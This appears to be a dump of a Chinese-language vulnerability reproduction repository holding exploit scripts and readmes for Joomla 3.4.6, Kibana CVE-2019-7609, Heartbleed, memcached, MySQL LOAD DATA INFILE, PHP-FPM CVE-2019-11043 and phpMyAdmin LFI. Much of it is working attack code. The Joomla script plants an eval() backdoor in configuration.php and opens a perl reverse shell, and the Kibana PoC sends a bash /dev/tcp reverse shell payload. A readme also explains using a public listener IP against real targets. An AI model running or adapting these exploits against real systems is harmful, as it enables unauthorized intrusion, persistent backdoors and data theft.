's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}' 115 | # payload = command + ' || $a=\'http://wtf\';' 116 | # Following payload will append an eval() at the enabled of the configuration file 117 | payload = 'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param + '\\\'])) eval($_POST[\\\'' + backdoor_param + '\\\']);\', FILE_APPEND) || $a=\'http://wtf\';' 118 | function_len = len(function) 119 | final = template.replace('PAYLOAD', payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', 120 | function).replace( 121 | 'FUNC_LEN', str(len(function))) 122 | return final 123 | 124 | 125 | def check(url): 126 | check_string = random_string(20) 127 | target_url = url + 'index.php/component/users' 128 | html = make_req(target_url, gen_pay('print_r', check_string)) 129 | if check_string in html: 130 | return True 131 | else: 132 | return False 133 | 134 | 135 | def ping_backdoor(url, param_name): 136 | res = requests.post(url + '/configuration.php', data={param_name: 'echo \'PWNED\';'}, proxies=PROXS) 137 | if 'PWNED' in res.text: 138 | return True 139 | return False 140 | 141 | 142 | def execute_backdoor(url, payload_code): 143 | # Execute PHP code from the backdoor 144 | res = requests.post(url + '/configuration.php', data={backdoor_param: payload_code}, proxies=PROXS) 145 | print(res.text) 146 | 147 | 148 | def exploit(url, lhost, lport): 149 | # Exploit the target 150 | # Default exploitation will append en eval function at the end of the configuration.pphp 151 | # as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters') 152 | # e.g. get_payload('system','rm -rf /') 153 | 154 | # First check that the backdoor has not been already implanted 155 | target_url = url + 'index.php/component/users' 156 | 157 | make_req(target_url, get_backdoor_pay()) 158 | if ping_backdoor(url, backdoor_param): 159 | print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param) 160 | print_info('Now it\'s time to reverse, trying with a system + perl') 161 | execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="' + lhost + '";$p=' + str( 162 | lport) + ';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');') 163 | 164 | 165 | if __name__ == '__main__': 166 | parser = argparse.ArgumentParser() 167 | parser.add_argument('-t', '--target', required=True, help='Joomla Target') 168 | parser.add_argument('-c', '--check', default=False, action='store_true', required=False, help='Check only') 169 | parser.add_argument('-e', '--exploit', default=False, action='store_true', help='Check and exploit') 170 | parser.add_argument('-l', '--lhost', required='--exploit' in sys.argv, help='Listener IP') 171 | parser.add_argument('-p', '--lport', required='--exploit' in sys.argv, help='Listener port') 172 | args = vars(parser.parse_args()) 173 | 174 | url = args['target'] 175 | if (check(url)): 176 | print_ok('Vulnerable') 177 | if args['exploit']: 178 | exploit(url, args['lhost'], args['lport']) 179 | else: 180 | print_info('Use --exploit to exploit it') 181 | 182 | else: 183 | print_error('Seems NOT Vulnerable ;/') 184 | -------------------------------------------------------------------------------- /joomla/joomla3.4.6 未授权rce/readme.md: -------------------------------------------------------------------------------- 1 | joomla 3.4.6未授权rce复现 2 | ----- 3 | 4 | 环境下载:https://downloads.joomla.org/it/cms/joomla3/3-4-6 5 | 6 | ## 漏洞复现 7 | 8 | 0、漏洞位置 9 | 10 | http://x.x.x.x/configuration.php 11 | 12 | 影响范围:3.0.0-3.4.6 13 | 14 | 1、漏洞验证 15 | 16 | `python3 joomla346_rce.py -t http://localhost:8123/joomla346/` 17 | 18 | ![](assets/poc.png) 19 | 20 | 2、漏洞利用 21 | 22 | `python3 joomla346_rce.py -t http://localhost:8123/joomla346/ --exploit -l 127.0.0.1 -p 7878` 23 | 24 | 在真实环境下-l -p应该分别为你主机外网ip与端口 25 | 26 | ![](assets/exp.png) 27 | 28 | 执行成功后,可以看到我本地搭建的joomla3.4.6的configuration.php文件中已被写入shell 29 | 30 | ![](assets/shell.png) 31 | 32 | 最开始在github上面放出来的那个poc,有个地方写错了,我对它进行了改正,并上传到了本目录下 33 | 34 | -------------------------------------------------------------------------------- /kibana/kibana未授权命令执行/assets/kibana.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/kibana/kibana未授权命令执行/assets/kibana.png -------------------------------------------------------------------------------- /kibana/kibana未授权命令执行/kibana_cmd_exec_cve20197609.py: -------------------------------------------------------------------------------- 1 | #! python3 2 | """ 3 | 4 | @FileName: elasticsearch_kibana_rce.py 5 | @Author: dylan 6 | @software: PyCharm 7 | @Datetime: 2019-10-20 15:23:54 8 | 9 | """ 10 | import re 11 | from collections import OrderedDict 12 | import json 13 | import urllib.parse 14 | from bs4 import BeautifulSoup 15 | from pocsuite3.api import Output, POCBase, register_poc, requests, OptString, logger 16 | 17 | 18 | class DemoPOC(POCBase): 19 | vulID = "CVE-2019-7609" # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0 20 | version = "3.0" # 默认为1 21 | author = "dylan" # PoC作者的大名 22 | vulDate = "2019/10/20" # 漏洞公开的时间,不知道就写今天 23 | createDate = "2019/10/20" # 编写 PoC 的日期 24 | updateDate = "2019/10/20" # PoC 更新的时间,默认和编写时间一样 25 | references = ["https://github.com/jas502n/kibana-RCE"] # 漏洞地址来源,0day不用写 26 | name = "elasticsearch_kibana_rce" # PoC 名称 27 | appPowerLink = "" # 漏洞厂商主页地址 28 | appName = "elasticsearch_kibana" # 漏洞应用名称 29 | appVersion = "Kibana < 6.6.1,Kibana < 5.6.15" # 漏洞影响版本 30 | vulType = "rce" # 漏洞类型,类型参考见 漏洞类型规范表 31 | desc = """ 32 | Need Timelion And Canvas 33 | """ # 漏洞简要描述 34 | samples = [] # 测试样列,就是用 PoC 测试成功的网站 35 | install_requires = [] # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写 36 | pocDesc = """ 37 | pocsuite -r "elasticsearch_kibana_rce.py" -u 目标ip --ncip "监听ip" --ncport "监听端口" 38 | 39 | pocsuite -r "elasticsearch_kibana_rce.py" -u https://192.168.1.1 --ncip "192.168.1.1" --ncport "12345" 40 | """ 41 | 42 | def _options(self): 43 | o = OrderedDict() 44 | o["ncip"] = OptString('', description='请输入监听服务器IP', require=True) 45 | o["ncport"] = OptString('', description='请输入监听服务器端口', require=True) 46 | return o 47 | 48 | def _verify(self): 49 | # 验证代码 50 | result = {} 51 | output = Output(self) 52 | kibana_path = self.url+"/app/kibana" 53 | path1 = self.url + "/app/timelion" 54 | print(path1) 55 | path2 = self.url + "/api/timelion/run" 56 | payload = { 57 | "sheet": [ 58 | ".es(*).props(label.__proto__.env.AAAA='require(\"child_process\").exec(\"bash -i >& " 59 | "/dev/tcp/" + self.get_option("ncip") + "/" + self.get_option( 60 | "ncport") + " 0>&1\");process.exit()//')\n.props(" 61 | "label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')"], 62 | "time": {"from": "now-15m", "to": "now", "mode": "quick", "interval": "auto", 63 | "timezone": "Asia/Shanghai"} 64 | } 65 | resp = requests.get(kibana_path, verify=False, timeout=20) 66 | kbn_version = '' 67 | try: 68 | kbn_version = resp.headers['kbn-version'] 69 | except Exception as e: 70 | logger.info(e) 71 | 72 | header = { 73 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0", 74 | 'Accept': 'application/json, text/plain, */*', 75 | "Accept-Language": "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3", 76 | "Accept-Encoding": "gzip, deflate", 77 | 'Connection': 'close', 78 | 'kbn-version': kbn_version, 79 | 'Content-Type': 'application/json;charset=UTF-8' 80 | } 81 | 82 | respose2 = requests.post(path2, headers=header, data=json.dumps(payload), verify=False, timeout=30) 83 | # print(respose2.status_code) 84 | if respose2.status_code == 200 and 'invokeTime' in respose2.text: # result是返回结果 85 | result['VerifyInfo'] = {} 86 | result['VerifyInfo']['URL'] = self.url 87 | result['VerifyInfo']['Referer'] = "" 88 | return self.parse_output(result) 89 | 90 | def _attack(self): 91 | # 攻击代码 92 | return self._verify() 93 | 94 | def parse_output(self, result): 95 | output = Output(self) 96 | if result: 97 | output.success(result) 98 | else: 99 | output.fail("target is not vulnerable") 100 | return output 101 | 102 | 103 | # 注册 DemoPOC 类 104 | register_poc(DemoPOC) -------------------------------------------------------------------------------- /kibana/kibana未授权命令执行/readme.md: -------------------------------------------------------------------------------- 1 | #### 0x01 漏洞概述 2 | 3 | Elasticsearch Kibana是荷兰Elasticsearch公司的一套开源的、基于浏览器的分析和搜索Elasticsearch仪表板工具。 4 | Kibana 5.6.15之前版本和6.6.1之前版本中的Timelion visualizer存在安全漏洞。 5 | 远程攻击者可通过发送请求利用该漏洞执行JavaScript代码并能以Kibana进程权限执行任意命令。 6 | 7 | #### 0x02 影响版本 8 | 9 | - ElasticSearch Kibana <5.6.15 10 | - ElasticSearch Kibana <6.6.1 11 | 12 | #### payload 13 | 14 | ``` 15 | .es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/IP/PORT 0>&1");process.exit()//') 16 | .props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ') 17 | ``` 18 | 19 | #### 复现详情 20 | 21 | https://dylan903.coding.me/2019/10/20/kibana-rce-lou-dong-fu-xian/ 22 | 23 | https://github.com/jas502n/kibana-RCE 24 | 25 | #### 我的复现 26 | 由于这个环境搭起来比较麻烦,所以,我暂且在网上找一些现成的环境进行复现(虽然最终也没有找到存在漏洞的环境,但是见识到真实环境的kibana比起看别人的复现文章要好一点),可以利用zoomeye或者fofa/shodan等网络空间搜索引擎搜索kibana,我这里找到几个版本符合要求的,且可以直接访问到kibana页面,不需要登录,界面如下 27 | 28 | ![](assets/kibana.png) 29 | 30 | 我这里发送payload就会报上图中的错误,可能是环境的问题 31 | 32 | #### python_poc(基于pocsuite框架) 33 | 34 | 改编自网上现成的........ 35 | ```python 36 | #! python3 37 | """ 38 | 39 | @FileName: elasticsearch_kibana_rce.py 40 | @Author: dylan 41 | @software: PyCharm 42 | @Datetime: 2019-10-20 15:23:54 43 | 44 | """ 45 | import re 46 | from collections import OrderedDict 47 | import json 48 | import urllib.parse 49 | from bs4 import BeautifulSoup 50 | from pocsuite3.api import Output, POCBase, register_poc, requests, OptString, logger 51 | 52 | 53 | class DemoPOC(POCBase): 54 | vulID = "CVE-2019-7609" # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0 55 | version = "3.0" # 默认为1 56 | author = "dylan" # PoC作者的大名 57 | vulDate = "2019/10/20" # 漏洞公开的时间,不知道就写今天 58 | createDate = "2019/10/20" # 编写 PoC 的日期 59 | updateDate = "2019/10/20" # PoC 更新的时间,默认和编写时间一样 60 | references = ["https://github.com/jas502n/kibana-RCE"] # 漏洞地址来源,0day不用写 61 | name = "elasticsearch_kibana_rce" # PoC 名称 62 | appPowerLink = "" # 漏洞厂商主页地址 63 | appName = "elasticsearch_kibana" # 漏洞应用名称 64 | appVersion = "Kibana < 6.6.1,Kibana < 5.6.15" # 漏洞影响版本 65 | vulType = "rce" # 漏洞类型,类型参考见 漏洞类型规范表 66 | desc = """ 67 | Need Timelion And Canvas 68 | """ # 漏洞简要描述 69 | samples = [] # 测试样列,就是用 PoC 测试成功的网站 70 | install_requires = [] # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写 71 | pocDesc = """ 72 | pocsuite -r "elasticsearch_kibana_rce.py" -u 目标ip --ncip "监听ip" --ncport "监听端口" 73 | 74 | pocsuite -r "elasticsearch_kibana_rce.py" -u https://192.168.1.1 --ncip "192.168.1.1" --ncport "12345" 75 | """ 76 | 77 | def _options(self): 78 | o = OrderedDict() 79 | o["ncip"] = OptString('', description='请输入监听服务器IP', require=True) 80 | o["ncport"] = OptString('', description='请输入监听服务器端口', require=True) 81 | return o 82 | 83 | def _verify(self): 84 | # 验证代码 85 | result = {} 86 | output = Output(self) 87 | kibana_path = self.url+"/app/kibana" 88 | path1 = self.url + "/app/timelion" 89 | print(path1) 90 | path2 = self.url + "/api/timelion/run" 91 | payload = { 92 | "sheet": [ 93 | ".es(*).props(label.__proto__.env.AAAA='require(\"child_process\").exec(\"bash -i >& " 94 | "/dev/tcp/" + self.get_option("ncip") + "/" + self.get_option( 95 | "ncport") + " 0>&1\");process.exit()//')\n.props(" 96 | "label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')"], 97 | "time": {"from": "now-15m", "to": "now", "mode": "quick", "interval": "auto", 98 | "timezone": "Asia/Shanghai"} 99 | } 100 | resp = requests.get(kibana_path, verify=False, timeout=20) 101 | kbn_version = '' 102 | try: 103 | kbn_version = resp.headers['kbn-version'] 104 | except Exception as e: 105 | logger.info(e) 106 | 107 | header = { 108 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0", 109 | 'Accept': 'application/json, text/plain, */*', 110 | "Accept-Language": "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3", 111 | "Accept-Encoding": "gzip, deflate", 112 | 'Connection': 'close', 113 | 'kbn-version': kbn_version, 114 | 'Content-Type': 'application/json;charset=UTF-8' 115 | } 116 | 117 | respose2 = requests.post(path2, headers=header, data=json.dumps(payload), verify=False, timeout=30) 118 | # print(respose2.status_code) 119 | if respose2.status_code == 200 and 'invokeTime' in respose2.text: # result是返回结果 120 | result['VerifyInfo'] = {} 121 | result['VerifyInfo']['URL'] = self.url 122 | result['VerifyInfo']['Referer'] = "" 123 | return self.parse_output(result) 124 | 125 | def _attack(self): 126 | # 攻击代码 127 | return self._verify() 128 | 129 | def parse_output(self, result): 130 | output = Output(self) 131 | if result: 132 | output.success(result) 133 | else: 134 | output.fail("target is not vulnerable") 135 | return output 136 | 137 | 138 | # 注册 DemoPOC 类 139 | register_poc(DemoPOC) 140 | ``` 141 | 142 | -------------------------------------------------------------------------------- /memcached/memcached未授权访问/assets/poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/memcached/memcached未授权访问/assets/poc.png -------------------------------------------------------------------------------- /memcached/memcached未授权访问/assets/屏幕截图.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/memcached/memcached未授权访问/assets/屏幕截图.png -------------------------------------------------------------------------------- /memcached/memcached未授权访问/assets/屏幕截图_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/memcached/memcached未授权访问/assets/屏幕截图_1.png -------------------------------------------------------------------------------- /memcached/memcached未授权访问/assets/屏幕截图_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/memcached/memcached未授权访问/assets/屏幕截图_2.png -------------------------------------------------------------------------------- /memcached/memcached未授权访问/readme.md: -------------------------------------------------------------------------------- 1 | ### 环境搭建 2 | 3 | 可以去docker hub上找一个memcached的镜像 4 | 5 | ### 复现方法 6 | 7 | telnet ip port 8 | 9 | ![](assets/poc.png) 10 | 11 | 12 | ### python3 poc 13 | 14 | ``` python 15 | # _*_ coding:utf-8 _*_ 16 | import socket 17 | import time 18 | 19 | 20 | def Memcache_check(ip, port=11211, timeout=5): 21 | try: 22 | socket.setdefaulttimeout(timeout) 23 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 24 | s.connect((ip, int(port))) 25 | s.send(b"stats\r\n") 26 | result = s.recv(1024) 27 | print(result) 28 | if b"STAT version" in result: 29 | print('[+] Memcache Unauthorized: ' +ip+':'+str(port)) 30 | except Exception as e: 31 | print(e) 32 | 33 | 34 | if __name__ == '__main__': 35 | Memcache_check('127.0.0.1', 32768) 36 | ``` -------------------------------------------------------------------------------- /mysql/mysql LOAD DATA INFILE 任意文件读取漏洞/assets/3307.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/mysql/mysql LOAD DATA INFILE 任意文件读取漏洞/assets/3307.png -------------------------------------------------------------------------------- /mysql/mysql LOAD DATA INFILE 任意文件读取漏洞/assets/config.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/mysql/mysql LOAD DATA INFILE 任意文件读取漏洞/assets/config.png -------------------------------------------------------------------------------- /mysql/mysql LOAD DATA INFILE 任意文件读取漏洞/assets/evil_mysql.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/mysql/mysql LOAD DATA INFILE 任意文件读取漏洞/assets/evil_mysql.png -------------------------------------------------------------------------------- /mysql/mysql LOAD DATA INFILE 任意文件读取漏洞/assets/forbidden.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/mysql/mysql LOAD DATA INFILE 任意文件读取漏洞/assets/forbidden.png -------------------------------------------------------------------------------- /mysql/mysql LOAD DATA INFILE 任意文件读取漏洞/assets/phpmyadmin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/mysql/mysql LOAD DATA INFILE 任意文件读取漏洞/assets/phpmyadmin.png -------------------------------------------------------------------------------- /mysql/mysql LOAD DATA INFILE 任意文件读取漏洞/readme.md: -------------------------------------------------------------------------------- 1 | MYSQL LOAD DATA INFILE 任意文件读取漏洞 2 | -- 3 | 4 | ### 参考 5 | 6 | vulspy漏洞环境:https://www.vulnspy.com/cn-phpmyadmin-load-data-local-file-read-local-file/ 7 | 8 | http://aq.mk/index.php/archives/23/ 9 | 10 | 11 | 12 | ### 失败的一次复现 13 | 14 | 下载phpmadmin4.9.0.1版本,修改配置文件 15 | 16 | ![](assets/config.png) 17 | 18 | 这里修改的目的是为了让我们的phpmyadmin可以连接到任意的mysql服务器,如果不配置,phpmyadmin默认只能连接本地的。 19 | 20 | 然后我们需要自己构造一个恶意的mysql服务器,有现成的脚本: 21 | 22 | https://github.com/Gifts/Rogue-MySql-Server 23 | 24 | 这个脚本需要修改一下,主要是修改监听的端口与读取的文件: 25 | 26 | ![](assets/evil_mysql.png) 27 | 28 | 修改完过后,运行该py文件,可以发现我们的服务器已经监听3307这个端口了 29 | 30 | ![](assets/3307.png) 31 | 32 | 这就说明我们的恶意mysql服务已经启动,接下来只需要使用phpmyadmin登录这个恶意mysql服务器就可以读取到phpmyadmin服务器上的文件了 33 | 34 | ![](assets/phpmyadmin.png) 35 | 36 | 理论上,这个时候我们mysql恶意脚本的同目录下会生成一个mysql.log文件,这个文件里就会有读取到的文件内容,但是我这里失败了,应该是mysql版本问题?或是php版本?显示forbidden了,但是使用vulspy环境可以成功复现 37 | 38 | ![](assets/forbidden.png) 39 | 40 | 利用流程就是上面那样了,这个漏洞主要就是利用load data infile 语句,加载客户端的文件,所以和服务端配置无关,主要是和客户端mysql相关。 -------------------------------------------------------------------------------- /openssl/心脏滴血/assets/poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/openssl/心脏滴血/assets/poc.png -------------------------------------------------------------------------------- /openssl/心脏滴血/assets/python_poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/openssl/心脏滴血/assets/python_poc.png -------------------------------------------------------------------------------- /openssl/心脏滴血/openssl.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) 4 | 5 | # Modified by Derek Callaway (decal@ethernet.org) to add STARTTLS protocols 6 | 7 | # The authors disclaim copyright to this source code. 8 | 9 | import sys 10 | import struct 11 | import socket 12 | import time 13 | import select 14 | import re 15 | from optparse import OptionParser 16 | 17 | options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') 18 | options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') 19 | options.add_option('-s', '--starttls', type='string', default='', help='STARTTLS protocol: smtp, pop3, imap, ftp, or xmpp') 20 | 21 | def h2bin(x): 22 | return x.replace(' ', '').replace('\n', '').decode('hex') 23 | 24 | hello = h2bin(''' 25 | 16 03 02 00 dc 01 00 00 d8 03 02 53 26 | 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf 27 | bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 28 | 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 29 | 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c 30 | c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 31 | c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 32 | c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c 33 | c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 34 | 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 35 | 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 36 | 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 37 | 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 38 | 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 39 | 00 0f 00 01 01 40 | ''') 41 | 42 | hb = h2bin(''' 43 | 18 03 02 00 03 44 | 01 40 00 45 | ''') 46 | 47 | def hexdump(s): 48 | for b in xrange(0, len(s), 16): 49 | lin = [c for c in s[b : b + 16]] 50 | hxdat = ' '.join('%02X' % ord(c) for c in lin) 51 | pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) 52 | print ' %04x: %-48s %s' % (b, hxdat, pdat) 53 | print 54 | 55 | def recvall(s, length, timeout=4): 56 | endtime = time.time() + timeout 57 | rdata = '' 58 | remain = length 59 | while remain > 0: 60 | rtime = endtime - time.time() 61 | if rtime < 0: 62 | return None 63 | r, w, e = select.select([s], [], [], 5) 64 | if s in r: 65 | data = s.recv(remain) 66 | # EOF? 67 | if not data: 68 | return None 69 | rdata += data 70 | remain -= len(data) 71 | return rdata 72 | 73 | 74 | def recvmsg(s): 75 | hdr = recvall(s, 5) 76 | if hdr is None: 77 | print 'Unexpected EOF receiving record header - server closed connection' 78 | return None, None, None 79 | typ, ver, ln = struct.unpack('>BHH', hdr) 80 | pay = recvall(s, ln, 10) 81 | if pay is None: 82 | print 'Unexpected EOF receiving record payload - server closed connection' 83 | return None, None, None 84 | print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) 85 | return typ, ver, pay 86 | 87 | def hit_hb(s): 88 | s.send(hb) 89 | while True: 90 | typ, ver, pay = recvmsg(s) 91 | if typ is None: 92 | print 'No heartbeat response received, server likely not vulnerable' 93 | return False 94 | 95 | if typ == 24: 96 | print 'Received heartbeat response:' 97 | hexdump(pay) 98 | if len(pay) > 3: 99 | print 'WARNING: server returned more data than it should - server is vulnerable!' 100 | else: 101 | print 'Server processed malformed heartbeat, but did not return any extra data.' 102 | return True 103 | 104 | if typ == 21: 105 | print 'Received alert:' 106 | hexdump(pay) 107 | print 'Server returned error, likely not vulnerable' 108 | return False 109 | 110 | BUFSIZ = 1024 111 | 112 | def main(): 113 | opts, args = options.parse_args() 114 | 115 | if len(args) < 1: 116 | options.print_help() 117 | return 118 | 119 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 120 | 121 | print 'Connecting...' 122 | 123 | s.connect((args[0], opts.port)) 124 | 125 | if opts.starttls != '': 126 | print 'Sending STARTTLS Protocol Command...' 127 | 128 | if opts.starttls == 'smtp': 129 | s.recv(BUFSIZ) 130 | s.send("EHLO openssl.client.net\n") 131 | s.recv(BUFSIZ) 132 | s.send("STARTTLS\n") 133 | s.recv(BUFSIZ) 134 | 135 | if opts.starttls == 'pop3': 136 | s.recv(BUFSIZ) 137 | s.send("STLS\n") 138 | s.recv(BUFSIZ) 139 | 140 | if opts.starttls == 'imap': 141 | s.recv(BUFSIZ) 142 | s.send("STARTTLS\n") 143 | s.recv(BUFSIZ) 144 | 145 | if opts.starttls == 'ftp': 146 | s.recv(BUFSIZ) 147 | s.send("AUTH TLS\n") 148 | s.recv(BUFSIZ) 149 | 150 | if opts.starttls == 'xmpp': # TODO: This needs SASL 151 | s.send("<stream:stream xmlns:stream='http://etherx.jabber.org/streams' xmlns='jabber:client' to='%s' version='1.0'\n") 152 | s.recv(BUFSIZ) 153 | 154 | print 'Sending Client Hello...' 155 | 156 | s.send(hello) 157 | 158 | print 'Waiting for Server Hello...' 159 | 160 | while True: 161 | typ, ver, pay = recvmsg(s) 162 | if typ == None: 163 | print 'Server closed connection without sending Server Hello.' 164 | return 165 | # Look for server hello done message. 166 | print(ord(pay[0])) 167 | if typ == 22 and ord(pay[0]) == 0x0E: 168 | break 169 | 170 | print 'Sending heartbeat request...' 171 | sys.stdout.flush() 172 | s.send(hb) 173 | hit_hb(s) 174 | 175 | if __name__ == '__main__': 176 | main() 177 | -------------------------------------------------------------------------------- /openssl/心脏滴血/readme.md: -------------------------------------------------------------------------------- 1 | ### 漏洞环境参考 2 | 3 | vulhub:https://github.com/vulhub/vulhub/tree/master/openssl/heartbleed 4 | 5 | ### poc 6 | 7 | `python openssl ip -p port` 8 | 9 | 不指定port的话,默认为443 10 | 11 | ![](assets/poc.png) 12 | 13 | -------------------------------------------------------------------------------- /php/cve-2019-11043/assets/ls.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/php/cve-2019-11043/assets/ls.png -------------------------------------------------------------------------------- /php/cve-2019-11043/assets/poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/php/cve-2019-11043/assets/poc.png -------------------------------------------------------------------------------- /php/cve-2019-11043/assets/res1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/php/cve-2019-11043/assets/res1.png -------------------------------------------------------------------------------- /php/cve-2019-11043/assets/res2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/php/cve-2019-11043/assets/res2.png -------------------------------------------------------------------------------- /php/cve-2019-11043/readme.md: -------------------------------------------------------------------------------- 1 | PHP-FPM Remote Command Execution (CVE-2019-11043) 2 | -- 3 | 4 | 在长亭科技举办的 Real World CTF 中,国外安全研究员 Andrew Danau 在解决一道 CTF 题目时发现,向目标服务器 URL 发送 %0a 符号时,服务返回异常,疑似存在漏洞。 5 | 6 | 在使用一些有错误的Nginx配置的情况下,通过恶意构造的数据包,即可让PHP-FPM执行任意代码。 7 | 8 | #### 复现 9 | 10 | 我们采用vulhub环境进行复现 11 | vulhub地址:https://github.com/vulhub/vulhub/blob/master/php/CVE-2019-11043/README.zh-cn.md 12 | 13 | 下载vulhub项目,进入php -> cve-2019-11043目录,然后执行 14 | `docker-compose up -d` 15 | 会下载并启动docker漏洞环境,web服务会映射到宿主机的8080端口,注意你的端口是否被占用。启动成功后,访问`http://your-ip:8080/index.php`会看到默认页面hello world. 16 | 17 | 然后我们使用漏洞利用工具:https://github.com/neex/phuip-fpizdam 18 | 该工具采用go语言编写,在使用之前需要先编译,git clone上面链接中的项目,然后切换到目录phuip-fpizdam执行: 19 | `go build` 20 | 正常情况下(前提是你的系统安装了go语言)就会在同目录下生成一个可执行文件 21 | 22 | ![](assets/ls.png) 23 | 24 | 然后我们就可以执行一下命令来复现漏洞了(reproduce): 25 | 26 | `./phuip-fpizdam http://your-ip:8080/index.php` 27 | 28 | ![](assets/poc.png) 29 | 30 | 然后我们去浏览器试一下,看看能否实现命令执行 31 | 32 | ![](assets/res1.png) 33 | 34 | ![](assets/res2.png) 35 | 36 | 执行命令一次可能执行不成功,多执行几次(注意,因为php-fpm会启动多个子进程,在访问/index.php?a=id时需要多访问几次,以访问到被污染的进程。) 37 | 38 | -------------------------------------------------------------------------------- /phpmyadmin/CVE-2018-12613 LFI/assets/poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/phpmyadmin/CVE-2018-12613 LFI/assets/poc.png -------------------------------------------------------------------------------- /phpmyadmin/CVE-2018-12613 LFI/readme.md: -------------------------------------------------------------------------------- 1 | phpmyadmin本地文件读取复现 2 | -- 3 | 4 | ### 复现环境 5 | 6 | phpmyadmin 4.8.1 7 | php 7 8 | 9 | 10 | ### 复现方法 11 | 12 | 去官网下载phpmyadmin 4.8.1版本,或者直接使用[vulhub](https://github.com/vulhub/vulhub/blob/master/phpmyadmin/CVE-2018-12613/README.zh-cn.md)的漏洞环境 13 | 14 | - 登录phpmyadmin 15 | 16 | - 发送如下payload 17 | 